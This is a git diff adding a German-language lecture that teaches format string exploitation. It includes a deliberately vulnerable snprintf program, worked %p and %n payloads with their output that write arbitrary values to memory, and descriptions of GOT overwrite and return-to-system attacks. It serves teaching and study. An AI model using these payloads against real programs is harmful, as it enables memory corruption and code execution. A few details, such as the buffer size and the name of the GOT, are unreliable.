summaryrefslogtreecommitdiff
path: root/stories/poetry/MeinVortrag/Vortrag-FormatStrings
diff options
context:
space:
mode:
Diffstat (limited to 'stories/poetry/MeinVortrag/Vortrag-FormatStrings')
-rw-r--r--stories/poetry/MeinVortrag/Vortrag-FormatStrings367
1 files changed, 367 insertions, 0 deletions
diff --git a/stories/poetry/MeinVortrag/Vortrag-FormatStrings b/stories/poetry/MeinVortrag/Vortrag-FormatStrings
new file mode 100644
index 0000000..7d6b591
--- /dev/null
+++ b/stories/poetry/MeinVortrag/Vortrag-FormatStrings
@@ -0,0 +1,367 @@
1Format String Exploits:
2
3Heisst grundsaetzlich, die Eigenschaft der
4f/s(n)printf/scanf - Funktionsfamilie
5auszunutzen, dass sie eine va_args-liste
6zum Uebergeben der Parameter und einen
7String zum Beschreiben der Anzahl und Art
8der Parameter benutzt.
9
10syntax:
11
12 printf( char *format, param1, param2, ... )
13
14Wenn man einen C-Kurs mitmacht, wird einem
15vermittelt, dass man in den Formatstring
16eintragen soll, welche Paramater die printf
17Funktion bekommen wird und wenn es
18Inkonsistenzen zwischen dem Formatstring und
19den Paramtern gibt, stuerzt das Programm ab.
20Und genau an der Stelle beginnt der spannende
21Part: wenn ein Programm abstuerzt,
22wurde sicher Speicher der Applikation ueber-
23schrieben und Ziel des Spiels ist es nun, zu
24versuchen, gezielt Speicher mit uns geneigten
25Werten zu ueberschreiben. Und unter uns: sooo
26schnell schiesst man ein Programm nicht ab :)
27Also schauen wir uns mal einen validen Aufruf
28der Funktion an:
29
30int main( ) {
31 int a, b;
32 a = 7;
33 b = 9;
34
35 printf( "%d %d\n", a, b );
36 return 0;
37}
38
39In optimiertem Assembler sieht das so aus:
40
41.LC0:
42 .string "%d %d\n"
43main:
44 [ ... ]
45 pushl $9
46 pushl $7
47 pushl $.LC0
48 call printf
49 [ ... ]
50
51Dort steht, dass erst b und a auf den Stack
52geschoben werden, danach die Adresse des
53Formatstrings und schliesslich printf aufgerufen
54wird.
55
56In C ist es generell nicht der Fall, dass
57Funktionen ueber die Parameter informiert werden,
58die sie auf dem Stack erhalten, das geben sie
59naemlich beim Compilen an und erwarten dann auf
60dem Stack auch genau diese Parameter vorzufinden.
61
62Einzige Ausnahme bildet ein Konstrukt namens
63va. Das bedeutet "Varibale Argumentenliste". Die
64Funktion printf arbeitet dann auch wie folgt:
65
66int printing( const char *fmt, ...) {
67 va_list ap;
68 char output[1024];
69
70 va_start(ap, fmt);
71
72 while( *fmt ) {
73 if( *fmt != '%' ) {
74 putc( *fmt++ );
75 } else { /* Parameter substituieren */
76 switch( *++fmt ) {
77 case 'd':
78 int a = va_arg( ap, int );
79 /* Zahl a ausgeben */
80 break;
81 case 's':
82 char *s = va_arg( ap, char *);
83 /* String ausgeben */
84 ....
85 }
86 }
87
88 va_end(ap);
89}
90
91Hinter der ganzen vargs Magie verbergen sich aber
92nur diese drei (jetzt mal von mir leicht
93vereinfachten) Makros:
94
95#define va_start(ap, var) ((ap) = (va_list)&var)
96
97#define va_arg(ap, type) *(((type *)ap++))
98
99#define va_end(ap)
100
101In Wirklichkeit wird da noch ein wenig am Alignment
102der Variablen geschraubt, aber im Groben stellt dies
103schon dar, wie variable Argumentlisten behandelt
104werden: printf holt einfach vom Stack ab, egal, ob da
105was drauf steht, oder nicht.
106
107Was drauf stehen tut aber immer, naemlich Ruecksprung-
108adressen und der Stack der aufrufenden Funktionen.
109Und das koennen wir uns mal angucken:
110
111int main( ) {
112 int a = 0x23232323;
113
114 printf( "%p %p %p %p %p %p %p %p %p %p %p %p\n");
115 return 0;
116}
117Liefert einen output von:
118
1190x2804b963 0x1 0xbfbff738 0xbfbff740 0xbfbff738 0x0 0x2805f100 0xbfbff730 0x23232323 0xbfbff730 0x8048459 0x1
120
121Und gugge da: wir erkennen doch da glatt unser
122nicht ganz zufaellig gewaehltes a wieder.
123
124%p ist der Bezeichner fuer einen ganz normalen
125pointer, also 4 bytes, die vom Stack geholt
126und in der 0xn Notation angezeigt werden.
127
128Aber printf kann mehr:
129
130int a;
131
132printf ( "Ich bin 23 Zeichen lang%n\n", &a);
133printf ( "Und printf hat's gezaehlt: %d", a);
134
135Liefert als Ausgabe:
136
137Ich bin 23 Zeichen lang
138Und printf hat's gezaehlt: 23
139
140Was ist passiert? Printf erwartet bei einem %n, dass
141auf dem Stack der Zeiger auf ein int liegt, in das
142er die Anzahl der in diesem Funktionsaufruf
143ausgegebnen Zeichen schreibt. Nicht auszumalen, was
144passiert, wenn auf dem Stack gar keine solide Adresse
145liegt :)
146
147Printf bietet uns also einen ganz soliden Weg, den
148Stack zu inspizieren und aktiv Speicher zu veraendern.
149Bliebe die Frage, warum sollte uns ein Programm den
150Weg ebnen, den Formatstring selbst zu waehlen. Da gibt
151es zwei Erklaerungen:
1521. bieten einige Programme fuer formatierte Textausgabe
153 dem Benutzer an, selber Formatstrings anzugeben.
154 Dies ist aber nicht so spannend, da der String
155 meist sehr genau geprueft wird, allerdings gibt es
156 einen exploit fuer den Mail-Reader mutt, der genau
157 ueber einen solchen Formatierungsstring anfaellig
158 war
1592. Ist es dem printf egal, ob man ihm nun wirklich einen
160 Zeiger auf den Formatstring gegeben hat, oder den
161 Zeiger auf IRGENDEINEN String, der ausgegeben werden
162 soll. Typischer BASIC Programmierstil ist:
163
164 A = "Hallo"
165 PRINT A
166
167 in C:
168
169 char *a = "Hallo";
170 printf( a );
171
172 funktioniert auch hervorragend, solange der String
173 a keine printf - control characters, naemlich "%"'s
174 enthaelt.
175
176Genug der Theorie, in der Praxis sieht sowas dann ganz
177schlicht so aus:
178
179int main( int argc, char **argv ) {
180 char buffer[ 256 ];
181
182 snprintf( buffer, sizeof buffer, argv[1] );
183
184 return 0;
185}
186
187Man beachte, dass der Programmierer sich grosse Muehe
188gegeben hat, buffer-overflows zu vermeiden, indem er
189sichere Variante von sprintf, das snprintf benutzt hat,
190damit auch wirklich maximal 32 bytes in den Buffer
191gelangen. Allerdings hat er beim String, der geschrieben
192werden soll, geschlampt: die Zeile muesste richtig lauten
193
194 snprintf( buffer, sizeof buffer, "%s", argv[1] );
195
196Nun, was tut dieses Funktion? Schreibt in den Buffer mit
197maximal 32 Zeichen den String argv[1], also das erste
198Kommandozeilenargument der Funktion. Aber tut es das auch
199wirklich? Nur, wie gesagt, solange im String keine '%'
200stehen, aber solche Zeichen in die Kommandozeile einzu-
201tippern kriegen wir doch noch hin :)
202
203Es gibt noch das kleine Problem, dass der Printf halt in
204einen Buffer und nicht auf den Screen schreibt, das laesst
205sich aber leicht loesen, indem wir entweder einen Debugger
206benutzen, um den Inhalt des Buffers auszulesen, oder ein-
207fach wieder printf dafuer benutzen, sieht dann so aus:
208
209int main( int argc, char **argv ) {
210 int test = 0x23232323;
211 char buffer[ 256 ];
212
213 printf( "test auf: %p\n", &test );
214 printf( "test enthaelt: %x\n\n", test);
215
216 snprintf( buffer, sizeof buffer, argv[1] );
217
218 printf( "%s\n", buffer);
219 printf( "test enthaelt: %x\n\n", test);
220
221 return 0;
222}
223
224Ich habe nun noch eine Variable eingefuegt, an der wir
225ein wenig rumspielen wollen: Dessen Adresse wuerde man
226wieder mit einem debugger herausfinden, hier benutz ich
227printf, auch den aktuellen Wert geb ich einmal vor und
228einmal nach der "Attacke" aus.
229Das compilete Programm wirft mir folgendes raus:
230
231# ./vuln Probierung
232test auf: 0xbfbff6d4
233test enthaelt: 0x23232323
234
235Probierung
236test enthaelt: 0x23232323
237
238Nuescht besonderes. Probieren wir nun mal ein bisschen
239mit den Formatstrings rum:
240
241# ./vuln "AAAA%p %p %p %p %p %p %p %p %p"
242test auf: 0xbfbff6c0
243test enthaelt: 0x23232323
244
245AAAA0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x41414141 0x62317830 0x64356666
246test enthaelt: 0x23232323
247
248Als erstes sehen wir, dass sich die Adressse von test
249(das sich ja im Stack befindet) variiert. Das liegt
250daran, dass die Kommandozeilenparameter im Stack abgelegt
251werden. Wir koennen aber mit Anfuerungszeichen und vielen
252Spaces ueber die gesamte Testphase fuer einen konstanten
253offset sorgen.
254Zweitens liegt, wie eben erwaehnt, auch der Format-String
255nocheinmal im Stack weiter oben rum, die 0x41414141 sind
256unsere AAAA in der Kommandozeile.
257
258Wir spielen mal weiter und schaun, ob wir nicht unseren vorhin
259entdeckten %n-Controlcode anbringen koennen wir lesen 3 pointer
260weniger und tun dafuer ein %n hin:
261
262# ./test "AAAA%p %p %p %p %p %p%n %p %p"
263test auf: 0xbfbff6c0
264test enthaelt: 0x23232323
265
266Segmentation fault (core dumped)
267
268Ui... Wie es uns im C-Programmierkurs gesagt wurde: spielt
269nicht mit den Formatstrings rum. Aber was genau hab ich jetzt
270kaputt gemacht? Gucken wir nochmal: printf hat, als er am %n
271vorbeikommt, genau 6 Werte vom Stack gelesen, das geht genau
272bis zur 0x2805a3a8. Auf dem Stack liegt jetzt direkt als
273naechstes 0x41414141. Und dieser Wert wird ja nun bei einem
274%n als Adresse einer int interpretiert, an die der aktuelle
275Character-Count geschrieben werden soll. Und an 0x41414141
276befindet sich kein lesbarer Speicher. Also kein Geheimnis.
277Aber wer jetzt einen Exploit entdeckt hat, soll sich mal
278melden. Genau... die 0x41414141 kommt ja direkt aus unserem
279Formatstring. Die ersten 4 Zeichen, um genau zu sein. Was laege
280da jetzt naeher, dort mal eine valide Adresse hinzuschreiben?
281Wir haetten da sogar noch eine ueber:
2820xbfbff6c0
283Da liegt naemlich die Variable test und es ist sogar eine int.
284Als String sieht die Adresse so aus: Àö¿¿
285Ungewoehnlich, aber wat solls, solange kein % und kein \000
286dabei ist, soll uns das nicht stoeren :)
287Wir probieren das einfach mal aus:
288
289# ./vuln "Àö¿¿%p %p %p %p %p %p%n %p %p"
290test auf: 0xbfbff6c0
291test enthaelt: 0x2323232323
292
293Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337 0x68acf04 0x2805a3a8 0x62317830 0x64356666
294test enthaelt: 0x42
295
296An der Stelle, wo da zwei Leerzeichen hintereinander sind,
297wurde nun %n "ausgefuehrt". Und sehr treffend: test enthaelt
2980x42.
299
300Wer die Musse hat, kann da mal nachzaehlen, das sind bis zum
301Doppelleerzeichen 66 ausgegebene Characters.
302
303Wir haben es also geschafft, an eine beliebige Adresse einen
304leider noch einigermassen zufaelligen Wert zu schreiben, das
305soll sich jetzt aendern. Was wir brauchen, ist eine wohl-
306bestimmte Anzahl von Zeichen, die bis zum %n ausgegeben wurden.
307Dazu sollten wir erstmal den %p's einheitliche Laengen verpassen,
308damit wir mit ihnen rechnen koennen. Dat jeht so:
309
310# ./vuln "Àö¿¿%8p%8p%8p%8p%8p%8p%n%p%p "
311test auf: 0xbfbff6c0
312test enthaelt: 0x23232323
313
314Àö¿¿0x1bff5d80xbfbff61c0x2804d7990x80483370x68acf040x2805a3a80x623178300x64356666
315test enthaelt: 0x3D
316
317und mit der letzten koennen wir noch ein wenig spielen:
318
319./test "°ö¿¿%8p%8p%8p%8p%111638553p%999999999p%n "
320test auf: 0xbfbff6b0
321test enthaelt: 0x23232323
322
323°ö¿¿0x1bff5c80xbfbff60c0x2804d7990x8048337
324test enthaelt: 0x42424242
325
326Ich musste fuer die grossen Zahlen leider noch ein wenig an der
327Adresse von test rumspielen, aber im Prinzip ist zu erkennen,
328dass ich an jede Adresse jeden Wert schreiben kann. Was habe
329ich getan? Man kann fuer Zahlenkonvertierungen in printf eine
330width vorgeben, die von der Funktion mit Leerzeichen aufgefuellt
331wird, wenn die Zahl nicht breit genug wird. Und das koennen nu
332auch ruhig mal viele sein, man sorgt zumindest dafuer, dass man
333auch hohe Werte schreiben kann, was ziemlich wichtig ist, wenn
334man mal eine valide Adresse wohin schreiben will. Und netterweise
335liefert printf nun auch nicht die Zahl der geschriebenen Zeichen,
336sondern die der "theoretisch" geschriebenen in %n zurueck, was
337dufte ist, denn sonst waere nach 256 Zeichen schluss gewesen...
338
339Nun ist es vom Prinzip her ganz einfach, Shellcode aufzurufen,
340man uebergibt diesen einfach mit im Formatstring und kann die
341Einsprungadresse punktgenau auf den Stack werfen. Waere aber
342eigentlich eine Schande, denn Formatstringexploits sind so fili-
343gran im Gegensatz zu buffer-overflows, die mit NOPs und vielen
344return adressen eigentlich nur raten.
345
346Viel eleganter ist es, die GOT des binaries zu veraendern.
347Dies ist die global object table, und dort hinein kommen fuer
348alle Funktionen, die aus Libraries eingebunden werden, die
349Adressen. Der Vorteil ist, dass bei fast allen Standard-
350anwendungen die GOT ungefaehr gleich aussieht. Wenn man die
351Adresse des fopen-calls einfach mit der des system-calls ueber-
352schreibt, koennte man einen Teil des formatstrings glatt von
353einer Shell interpretieren lassen.
354
355Dies ist insoweit im Moment spannend, da ernsthaft damit ange-
356fangen wird, den Stack non-executable zu mappen und damit buffer
357overflows und darin befindlicher Shellcode zu verhindern.
358
359Dies liesse noch Spielraum fuer eine weitere Option, naemlich
360die Ruecksprungadresse der printf-aufrufenden Funktion zu
361ueberschreiben und zwar mit der Einsprungadresse von system,
362wenn man davor eine Adresse irgendwo im eigenen Formatstring
363hinpackt, kann man den Formatstring wie folgt gestalten:
364
365"/../../../../../../../../../bin/sh"
366
367die ../'s sind naemlich eigentlich auch NOPs.